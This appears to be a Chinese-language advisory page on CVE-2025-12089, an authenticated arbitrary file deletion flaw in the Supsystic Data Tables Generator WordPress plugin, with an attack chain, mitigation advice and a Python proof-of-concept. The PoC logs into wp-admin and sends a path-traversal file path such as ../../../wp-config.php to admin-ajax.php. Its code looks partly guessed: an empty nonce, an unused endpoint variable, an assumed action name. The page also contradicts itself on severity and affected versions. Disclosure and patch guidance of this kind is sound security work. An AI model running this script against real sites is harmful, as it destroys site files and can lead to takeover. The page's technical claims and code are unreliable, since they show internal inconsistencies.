IPBUF安全漏洞报告
English
CVE-2025-12089 CVSS 6.5 中危

CVE-2025-12089 WordPress Data Tables Generator插件任意文件删除漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-12089
漏洞类型
任意文件删除
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Data Tables Generator by Supsystic plugin for WordPress

相关标签

任意文件删除WordPress插件漏洞Data Tables GeneratorSupsystic路径遍历CVE-2025-12089权限绕过远程代码执行cleanCache函数

漏洞概述

CVE-2025-12089是WordPress Data Tables Generator by Supsystic插件中的一个高危安全漏洞。该漏洞存在于插件的cleanCache()函数中,由于对文件路径验证不足,导致经过身份验证的管理员及以上权限用户可以删除服务器上的任意文件。此漏洞影响版本至1.10.45的所有版本。攻击者利用此漏洞可以删除关键系统文件(如wp-config.php),从而可能导致网站完全失陷或实现远程代码执行。由于该插件在WordPress网站中广泛使用,此漏洞对大量网站构成严重威胁。漏洞由Wordfence安全团队于2025年11月13日披露,建议管理员立即采取修复措施。

技术细节

该漏洞的根本原因在于Data Tables Generator by Supsystic插件的cleanCache()函数缺乏足够的文件路径验证机制。攻击者可以通过构造特殊的文件路径参数,利用路径遍历技术(如使用../)来访问和删除服务器上web根目录之外的文件。在WordPress环境中,具有管理员权限的 attackers 可以通过WordPress管理后台或相关API接口触发cleanCache()函数执行。由于函数直接使用用户提供的路径进行文件删除操作而未进行安全校验,攻击者可以指定任意文件路径进行删除操作。当攻击者删除wp-config.php等关键配置文件时,WordPress将无法正常连接数据库,网站功能完全中断。更为严重的是,攻击者可删除.htaccess、wp-login.php等文件,或者通过删除其他插件/主题文件后上传恶意代码实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员级别账户凭据
STEP 2
步骤2
攻击者登录WordPress管理后台,访问Data Tables Generator插件相关页面
STEP 3
步骤3
攻击者识别cleanCache()函数的漏洞点,该函数未对文件路径进行充分验证
STEP 4
步骤4
攻击者构造恶意请求,通过路径遍历(如../../../wp-config.php)指定要删除的目标文件
STEP 5
步骤5
服务器执行文件删除操作,关键文件被成功删除
STEP 6
步骤6
如果删除wp-config.php,网站数据库连接中断;如果删除.htaccess或上传webshell,可实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12089 PoC - Arbitrary File Deletion # Target: Data Tables Generator by Supsystic plugin for WordPress # Authentication: Requires Administrator-level access def delete_arbitrary_file(target_url, wp_username, wp_password, file_to_delete): """ Delete arbitrary file on the server via cleanCache() function vulnerability Args: target_url: WordPress target URL (e.g., https://example.com) wp_username: WordPress administrator username wp_password: WordPress administrator password file_to_delete: Absolute path of file to delete """ session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Trigger cleanCache with arbitrary file path # The vulnerability allows path traversal via cache_dir parameter exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Encode file path for path traversal # Example: ../../../wp-config.php or specific file path exploit_data = { 'action': 'supsystic_tbl_cache_clean', 'cache_dir': file_to_delete, # Arbitrary file path 'nonce': '' # Need to obtain valid nonce from page source } # Alternative exploitation via direct POST to cache clean endpoint cache_clean_url = f"{target_url}/wp-admin/admin.php?page=supsystic-tables&module=cache" print(f"[*] Attempting to delete: {file_to_delete}") # Send exploitation request exploit_response = session.post(exploit_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Exploitation request sent") print(f"[+] Response: {exploit_response.text}") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <file_to_delete>") print(f"Example: python {sys.argv[0]} https://example.com admin password ../../../wp-config.php") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] file_path = sys.argv[4] delete_arbitrary_file(target, username, password, file_path)

影响范围

Data Tables Generator by Supsystic < 1.10.45

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制管理员账户数量,确保只有必要人员拥有管理员权限;2) 启用双因素认证增强管理员账户安全;3) 使用WordPress安全插件监控文件变更和异常管理员行为;4) 对wp-config.php等关键文件进行离线备份;5) 考虑暂时禁用Data Tables Generator插件直到完成升级;6) 使用Web应用防火墙规则阻止针对admin-ajax.php的异常文件操作请求。建议在业务低峰期完成插件升级,并提前做好完整备份。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表